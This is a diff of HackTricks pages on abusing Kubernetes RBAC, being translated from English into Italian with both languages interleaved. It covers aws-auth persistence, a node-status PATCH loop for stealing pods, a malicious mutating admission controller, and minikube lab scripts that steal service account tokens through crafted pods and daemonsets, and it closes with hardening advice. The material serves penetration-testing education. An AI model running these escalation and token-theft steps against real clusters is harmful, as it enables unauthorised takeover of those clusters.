groups:
- system:masters
# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
@@ -438,76 +399,74 @@ eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
```
> [!WARNING]
> You can use **`aws-auth`** for **persistence** giving access to users from **other accounts**.
> Puoi usare **`aws-auth`** per **persistenza** dando accesso agli utenti di **altri account**.
>
> However, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **doesn't work from a different acount**. But actually `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` works if you put the ARN of the cluster instead of just the name.\
> To make `kubectl` work, just make sure to **configure** the **victims kubeconfig** and in the aws exec args add `--profile other_account_role` so kubectl will be using the others account profile to get the token and contact AWS.
> Tuttavia, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **non funziona da un account diverso**. Ma in realtà `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funziona se metti l'ARN del cluster invece del solo nome.\
> Per far funzionare `kubectl`, assicurati di **configurare** il **kubeconfig della vittima** e negli argomenti di esecuzione di aws aggiungi `--profile other_account_role` in modo che kubectl utilizzi il profilo dell'altro account per ottenere il token e contattare AWS.
### Escalating in GKE
There are **2 ways to assign K8s permissions to GCP principals**. In any case the principal also needs the permission **`container.clusters.get`** to be able to gather credentials to access the cluster, or you will need to **generate your own kubectl config file** (follow the next link).
Ci sono **2 modi per assegnare permessi K8s ai principi GCP**. In ogni caso, il principio ha anche bisogno del permesso **`container.clusters.get`** per poter raccogliere le credenziali per accedere al cluster, oppure dovrai **generare il tuo file di configurazione kubectl** (segui il link successivo).
> [!WARNING]
> When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\
> If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given.
> Quando si parla con l'endpoint API K8s, il **token di autenticazione GCP verrà inviato**. Poi, GCP, attraverso l'endpoint API K8s, controllerà prima **se il principio** (per email) **ha accesso all'interno del cluster**, poi controllerà se ha **accesso tramite GCP IAM**.\
> Se **qualcuno** di questi è **vero**, riceverà una **risposta**. Se **no**, verrà fornito un **errore** che suggerisce di dare **permessi tramite GCP IAM**.
Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it.
Quindi, il primo metodo è utilizzare **GCP IAM**, i permessi K8s hanno i loro **permessi equivalenti GCP IAM**, e se il principio li ha, potrà usarli.
{{#ref}}
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
{{#endref}}
The second method is **assigning K8s permissions inside the cluster** to the identifying the user by its **email** (GCP service accounts included).
Il secondo metodo è **assegnare permessi K8s all'interno del cluster** identificando l'utente tramite la sua **email** (inclusi gli account di servizio GCP).
### Create serviceaccounts token
Principals that can **create TokenRequests** (`serviceaccounts/token`) When talking to the K8s api endpoint SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
Principi che possono **creare TokenRequests** (`serviceaccounts/token`) quando si parla con l'endpoint API K8s SAs (info da [**qui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
### ephemeralcontainers
Principals that can **`update`** or **`patch`** **`pods/ephemeralcontainers`** can gain **code execution on other pods**, and potentially **break out** to their node by adding an ephemeral container with a privileged securityContext
Principi che possono **`update`** o **`patch`** **`pods/ephemeralcontainers`** possono ottenere **esecuzione di codice su altri pod**, e potenzialmente **uscire** al loro nodo aggiungendo un container effimero con un securityContext privilegiato.
### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
### ValidatingWebhookConfigurations o MutatingWebhookConfigurations
Principals with any of the verbs `create`, `update` or `patch` over `validatingwebhookconfigurations` or `mutatingwebhookconfigurations` might be able to **create one of such webhookconfigurations** in order to be able to **escalate privileges**.
Principi con uno dei verbi `create`, `update` o `patch` su `validatingwebhookconfigurations` o `mutatingwebhookconfigurations` potrebbero essere in grado di **creare una di queste webhookconfigurations** per poter **escalare i privilegi**.
For a [`mutatingwebhookconfigurations` example check this section of this post](./#malicious-admission-controller).
Per un [`mutatingwebhookconfigurations` esempio controlla questa sezione di questo post](./#malicious-admission-controller).
### Escalate
As you can read in the next section: [**Built-in Privileged Escalation Prevention**](./#built-in-privileged-escalation-prevention), a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the **verb `escalate`** over **`roles`** or **`clusterroles`.**\
Then he can update/create new roles, clusterroles with better permissions than the ones he has.
Come puoi leggere nella sezione successiva: [**Built-in Privileged Escalation Prevention**](./#built-in-privileged-escalation-prevention), un principio non può aggiornare né creare ruoli o clusterroles senza avere lui stesso quei nuovi permessi. A meno che non abbia il **verbo `escalate`** su **`roles`** o **`clusterroles`**.\
Allora può aggiornare/creare nuovi ruoli, clusterroles con permessi migliori di quelli che ha.
### Nodes proxy
Principals with access to the **`nodes/proxy`** subresource can **execute code on pods** via the Kubelet API (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). More information about Kubelet authentication in this page:
Principi con accesso alla **`nodes/proxy`** subrisorsa possono **eseguire codice su pod** tramite l'API Kubelet (secondo [**questo**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Maggiori informazioni sull'autenticazione Kubelet in questa pagina:
{{#ref}}
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
{{#endref}}
You have an example of how to get [**RCE talking authorized to a Kubelet API here**](../pentesting-kubernetes-services/#kubelet-rce).
Hai un esempio di come ottenere [**RCE parlando autorizzato a un Kubelet API qui**](../pentesting-kubernetes-services/#kubelet-rce).
### Delete pods + unschedulable nodes
Principals that can **delete pods** (`delete` verb over `pods` resource), or **evict pods** (`create` verb over `pods/eviction` resource), or **change pod status** (access to `pods/status`) and can **make other nodes unschedulable** (access to `nodes/status`) or **delete nodes** (`delete` verb over `nodes` resource) and has control over a pod, could **steal pods from other nodes** so they are **executed** in the **compromised** **node** and the attacker can **steal the tokens** from those pods.
Principi che possono **eliminare pod** (`delete` verbo su `pods` risorsa), o **espellere pod** (`create` verbo su `pods/eviction` risorsa), o **cambiare lo stato del pod** (accesso a `pods/status`) e possono **rendere altri nodi non pianificabili** (accesso a `nodes/status`) o **eliminare nodi** (`delete` verbo su `nodes` risorsa) e hanno controllo su un pod, potrebbero **rubare pod da altri nodi** in modo che vengano **eseguiti** nel **nodo compromesso** e l'attaccante può **rubare i token** da quei pod.
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}
while true; do patch_node_capacity <id_other_node>; done &
@@ -515,49 +474,45 @@ while true; do patch_node_capacity <id_other_node>; done &
kubectl delete pods -n kube-system <privileged_pod_name>
```
### Services status (CVE-2020-8554)
Principals that can **modify** **`services/status`** may set the `status.loadBalancer.ingress.ip` field to exploit the **unfixed CVE-2020-8554** and launch **MiTM attacks against the clus**ter. Most mitigations for CVE-2020-8554 only prevent ExternalIP services (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
I principi che possono **modificare** **`services/status`** possono impostare il campo `status.loadBalancer.ingress.ip` per sfruttare il **CVE-2020-8554 non corretto** e lanciare **attacchi MiTM contro il cluster**. La maggior parte delle mitigazioni per il CVE-2020-8554 previene solo i servizi ExternalIP (secondo [**questo**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
### Nodes and Pods status
Principals with **`update`** or **`patch`** permissions over `nodes/status` or `pods/status`, could modify labels to affect scheduling constraints enforced.
I principi con permessi **`update`** o **`patch`** su `nodes/status` o `pods/status`, potrebbero modificare le etichette per influenzare i vincoli di programmazione applicati.
## Built-in Privileged Escalation Prevention
Kubernetes has a [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) to prevent privilege escalation.
Kubernetes ha un [meccanismo integrato](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) per prevenire l'escalation dei privilegi.
This system ensures that **users cannot elevate their privileges by modifying roles or role bindings**. The enforcement of this rule occurs at the API level, providing a safeguard even when the RBAC authorizer is inactive.
Questo sistema garantisce che **gli utenti non possano elevare i propri privilegi modificando ruoli o binding di ruolo**. L'applicazione di questa regola avviene a livello API, fornendo una protezione anche quando l'autorizzatore RBAC è inattivo.
The rule stipulates that a **user can only create or update a role if they possess all the permissions the role comprises**. Moreover, the scope of the user's existing permissions must align with that of the role they are attempting to create or modify: either cluster-wide for ClusterRoles or confined to the same namespace (or cluster-wide) for Roles.
La regola stabilisce che un **utente può creare o aggiornare un ruolo solo se possiede tutti i permessi che il ruolo comprende**. Inoltre, l'ambito dei permessi esistenti dell'utente deve allinearsi a quello del ruolo che stanno tentando di creare o modificare: sia a livello cluster-wide per i ClusterRoles o confinato allo stesso namespace (o cluster-wide) per i Roles.
> [!WARNING]
> There is an exception to the previous rule. If a principal has the **verb `escalate`** over **`roles`** or **`clusterroles`** he can increase the privileges of roles and clusterroles even without having the permissions himself.
> C'è un'eccezione a questa regola precedente. Se un principio ha il **verb `escalate`** su **`roles`** o **`clusterroles`** può aumentare i privilegi di ruoli e clusterroles anche senza avere i permessi lui stesso.
### **Get & Patch RoleBindings/ClusterRoleBindings**
> [!CAUTION]
> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.**
> **A quanto pare questa tecnica funzionava prima, ma secondo i miei test non funziona più per lo stesso motivo spiegato nella sezione precedente. Non puoi creare/modificare un rolebinding per dare a te stesso o a un diverso SA alcuni privilegi se non li hai già.**
The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.**
Il privilegio di creare Rolebindings consente a un utente di **associare ruoli a un account di servizio**. Questo privilegio può potenzialmente portare a un'escalation dei privilegi perché **consente all'utente di associare privilegi di amministratore a un account di servizio compromesso.**
## Other Attacks
### Sidecar proxy app
By default there isn't any encryption in the communication between pods .Mutual authentication, two-way, pod to pod.
Per impostazione predefinita non c'è alcuna crittografia nella comunicazione tra i pod. Autenticazione reciproca, bidirezionale, da pod a pod.
#### Create a sidecar proxy app <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
Create your .yaml
Crea il tuo .yaml
```bash
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
```
Edit your .yaml and add the uncomment lines:
Modifica il tuo .yaml e aggiungi le righe non commentate:
```yaml
#apiVersion: v1
#kind: Pod
@@ -575,107 +530,94 @@ Edit your .yaml and add the uncomment lines:
# - name: sec-ctx-demo
# image: busybox
command:
[
"sh",
"-c",
"apt update && apt install iptables -y && iptables -L && sleep 1h",
]
[
"sh",
"-c",
"apt update && apt install iptables -y && iptables -L && sleep 1h",
]
securityContext:
capabilities:
add: ["NET_ADMIN"]
capabilities:
add: ["NET_ADMIN"]
# volumeMounts:
# - name: sec-ctx-vol
# mountPath: /data/demo
# securityContext:
# allowPrivilegeEscalation: true
```
See the logs of the proxy:
Vedi i log del proxy:
```bash
kubectl logs app -C proxy
```
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
### Malicious Admission Controller
An admission controller **intercepts requests to the Kubernetes API server** before the persistence of the object, but **after the request is authenticated** **and authorized**.
Un admission controller **intercetta le richieste al server API di Kubernetes** prima della persistenza dell'oggetto, ma **dopo che la richiesta è stata autenticata** **e autorizzata**.
If an attacker somehow manages to **inject a Mutationg Admission Controller**, he will be able to **modify already authenticated requests**. Being able to potentially privesc, and more usually persist in the cluster.
**Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
Se un attaccante riesce in qualche modo a **iniettare un Mutationg Admission Controller**, sarà in grado di **modificare richieste già autenticate**. Essere in grado di potenzialmente privesc, e più comunemente persistere nel cluster.
**Esempio da** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
```bash
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
```
Check the status to see if it's ready:
Controlla lo stato per vedere se è pronto:
```bash
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
```
![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp)
Then deploy a new pod:
Quindi distribuisci un nuovo pod:
```bash
kubectl run nginx --image nginx
kubectl get po -w
```
When you can see `ErrImagePull` error, check the image name with either of the queries:
Quando puoi vedere l'errore `ErrImagePull`, controlla il nome dell'immagine con una delle seguenti query:
```bash
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
```
![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp)
As you can see in the above image, we tried running image `nginx` but the final executed image is `rewanthtammana/malicious-image`. What just happened!!?
Come puoi vedere nell'immagine sopra, abbiamo provato a eseguire l'immagine `nginx`, ma l'immagine finale eseguita è `rewanthtammana/malicious-image`. Cosa è appena successo!!?
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
The `./deploy.sh` script establishes a mutating webhook admission controller, which modifies requests to the Kubernetes API as specified in its configuration lines, influencing the outcomes observed:
Lo script `./deploy.sh` stabilisce un controller di ammissione webhook mutante, che modifica le richieste all'API di Kubernetes come specificato nelle sue righe di configurazione, influenzando i risultati osservati:
```
patches = append(patches, patchOperation{
Op: "replace",
Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
Op: "replace",
Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
```
Il frammento sopra sostituisce la prima immagine del container in ogni pod con `rewanthtammana/malicious-image`.
The above snippet replaces the first container image in every pod with `rewanthtammana/malicious-image`.
## OPA Gatekeeper bypass
## Bypass di OPA Gatekeeper
{{#ref}}
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
{{#endref}}
## Best Practices
## Migliori Pratiche
### **Disabling Automount of Service Account Tokens**
### **Disabilitare l'Automount dei Token dell'Account di Servizio**
- **Pods and Service Accounts**: By default, pods mount a service account token. To enhance security, Kubernetes allows the disabling of this automount feature.
- **How to Apply**: Set `automountServiceAccountToken: false` in the configuration of service accounts or pods starting from Kubernetes version 1.6.
- **Pods e Account di Servizio**: Per impostazione predefinita, i pod montano un token dell'account di servizio. Per migliorare la sicurezza, Kubernetes consente di disabilitare questa funzionalità di automount.
- **Come Applicare**: Imposta `automountServiceAccountToken: false` nella configurazione degli account di servizio o dei pod a partire dalla versione 1.6 di Kubernetes.
### **Restrictive User Assignment in RoleBindings/ClusterRoleBindings**
### **Assegnazione Ristretta degli Utenti in RoleBindings/ClusterRoleBindings**
- **Selective Inclusion**: Ensure that only necessary users are included in RoleBindings or ClusterRoleBindings. Regularly audit and remove irrelevant users to maintain tight security.
- **Inclusione Selettiva**: Assicurati che solo gli utenti necessari siano inclusi in RoleBindings o ClusterRoleBindings. Esegui audit regolari e rimuovi gli utenti irrilevanti per mantenere una sicurezza rigorosa.
### **Namespace-Specific Roles Over Cluster-Wide Roles**
### **Ruoli Specifici per Namespace rispetto ai Ruoli Cluster-Wide**
- **Roles vs. ClusterRoles**: Prefer using Roles and RoleBindings for namespace-specific permissions rather than ClusterRoles and ClusterRoleBindings, which apply cluster-wide. This approach offers finer control and limits the scope of permissions.
- **Ruoli vs. ClusterRoles**: Preferisci utilizzare Ruoli e RoleBindings per permessi specifici del namespace piuttosto che ClusterRoles e ClusterRoleBindings, che si applicano a livello di cluster. Questo approccio offre un controllo più fine e limita l'ambito dei permessi.
### **Use automated tools**
### **Utilizza strumenti automatizzati**
{{#ref}}
https://github.com/cyberark/KubiScan
@@ -689,14 +631,10 @@ https://github.com/aquasecurity/kube-hunter
https://github.com/aquasecurity/kube-bench
{{#endref}}
## **References**
## **Riferimenti**
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
{{#include ../../../banners/hacktricks-training.md}}

536
src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/kubernetes-roles-abuse-lab.md
View File

@@ -1,25 +1,24 @@
# Kubernetes Roles Abuse Lab
# Laboratorio di Abuso dei Ruoli Kubernetes
{{#include ../../../banners/hacktricks-training.md}}
You can run these labs just inside **minikube**.
Puoi eseguire questi laboratori all'interno di **minikube**.
## Pod Creation -> Escalate to ns SAs
## Creazione di Pod -> Escalare a ns SAs
We are going to create:
Stiamo per creare:
- A **Service account "test-sa"** with a cluster privilege to **read secrets**
- A ClusterRole "test-cr" and a ClusterRoleBinding "test-crb" will be created
- **Permissions** to list and **create** pods to a user called "**Test**" will be given
- A Role "test-r" and RoleBinding "test-rb" will be created
- Then we will **confirm** that the SA can list secrets and that the user Test can list a pods
- Finally we will **impersonate the user Test** to **create a pod** that includes the **SA test-sa** and **steal** the service account **token.**
- This is the way yo show the user could escalate privileges this way
- Un **account di servizio "test-sa"** con un privilegio di cluster per **leggere i segreti**
- Saranno creati un ClusterRole "test-cr" e un ClusterRoleBinding "test-crb"
- **Permessi** per elencare e **creare** pod a un utente chiamato "**Test**" saranno concessi
- Saranno creati un Role "test-r" e un RoleBinding "test-rb"
- Poi **confermeremo** che l'SA può elencare i segreti e che l'utente Test può elencare i pod
- Infine **impersoneremo l'utente Test** per **creare un pod** che include l'**SA test-sa** e **rubare** il **token** dell'account di servizio.
- Questo è il modo per mostrare come l'utente potrebbe escalare i privilegi in questo modo
> [!NOTE]
> To create the scenario an admin account is used.\
> Moreover, to **exfiltrate the sa token** in this example the **admin account is used** to exec inside the created pod. However, **as explained here**, the **declaration of the pod could contain the exfiltration of the token**, so the "exec" privilege is not necesario to exfiltrate the token, the **"create" permission is enough**.
> Per creare lo scenario viene utilizzato un account admin.\
> Inoltre, per **esfiltrare il token sa** in questo esempio viene utilizzato l'**account admin** per eseguire un exec all'interno del pod creato. Tuttavia, **come spiegato qui**, la **dichiarazione del pod potrebbe contenere l'esfiltrazione del token**, quindi il privilegio "exec" non è necessario per esfiltrare il token, il **permesso "create" è sufficiente**.
```bash
# Create Service Account test-sa
# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
@@ -28,53 +27,53 @@ We are going to create:
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
name: test-r
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
- kind: User
name: Test
- kind: ServiceAccount
name: test-sa
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets
@@ -86,17 +85,17 @@ kubectl --as Test -n default get pods
echo "apiVersion: v1
kind: Pod
metadata:
name: test-pod
namespace: default
name: test-pod
namespace: default
spec:
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true"| kubectl --as Test apply -f -
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true"| kubectl --as Test apply -f -
# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
@@ -109,9 +108,7 @@ kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa
```
## Create Daemonset
## Crea Daemonset
```bash
# Create Service Account test-sa
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
@@ -120,51 +117,51 @@ kubectl delete serviceaccount test-sa
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "create"]
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
name: test-rb
subjects:
- kind: User
name: Test
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
# Check test-sa can access kube-system secrets
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets
@@ -176,25 +173,25 @@ kubectl --as Test -n default get daemonsets
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
@@ -207,13 +204,11 @@ kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa
```
### Patch Daemonset
In this case we are going to **patch a daemonset** to make its pod load our desired service account.
If your user has the **verb update instead of patch, this won't work**.
In questo caso andremo a **patchare un daemonset** per far caricare al suo pod il nostro account di servizio desiderato.
Se il tuo utente ha il **verbo update invece di patch, questo non funzionerà**.
```bash
# Create Service Account test-sa
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
@@ -222,73 +217,73 @@ If your user has the **verb update instead of patch, this won't work**.
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
name: test-r
rules:
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "patch"]
- apiGroups: ["apps"]
resources: ["daemonsets"]
verbs: ["get", "list", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
name: test-rb
subjects:
- kind: User
name: Test
- kind: User
name: Test
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
name: test-cr
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
name: test-crb
subjects:
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
- kind: ServiceAccount
namespace: default
name: test-sa
apiGroup: ""
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
---
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
automountServiceAccountToken: false
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100']' | kubectl apply -f -
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
automountServiceAccountToken: false
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100']' | kubectl apply -f -
# Check user User can get pods in namespace default
kubectl --as Test -n default get daemonsets
@@ -297,25 +292,25 @@ kubectl --as Test -n default get daemonsets
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: default
name: alpine
namespace: default
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: test-sa
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ['/bin/sh']
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
# Connect to the pod created an confirm the attached SA token belongs to test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
@@ -328,86 +323,84 @@ kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa
```
## Non funziona
## Doesn't work
### Crea/Patch Bindings
### Create/Patch Bindings
**Doesn't work:**
- **Create a new RoleBinding** just with the verb **create**
- **Create a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
- You cannot do this to assign the role to yourself or to a different SA
- **Modify a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
- You cannot do this to assign the role to yourself or to a different SA
**Non funziona:**
- **Crea un nuovo RoleBinding** solo con il verbo **create**
- **Crea un nuovo RoleBinding** solo con il verbo **patch** (devi avere i permessi di binding)
- Non puoi farlo per assegnare il ruolo a te stesso o a un altro SA
- **Modifica un nuovo RoleBinding** solo con il verbo **patch** (devi avere i permessi di binding)
- Non puoi farlo per assegnare il ruolo a te stesso o a un altro SA
```bash
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
name: test-sa2
---
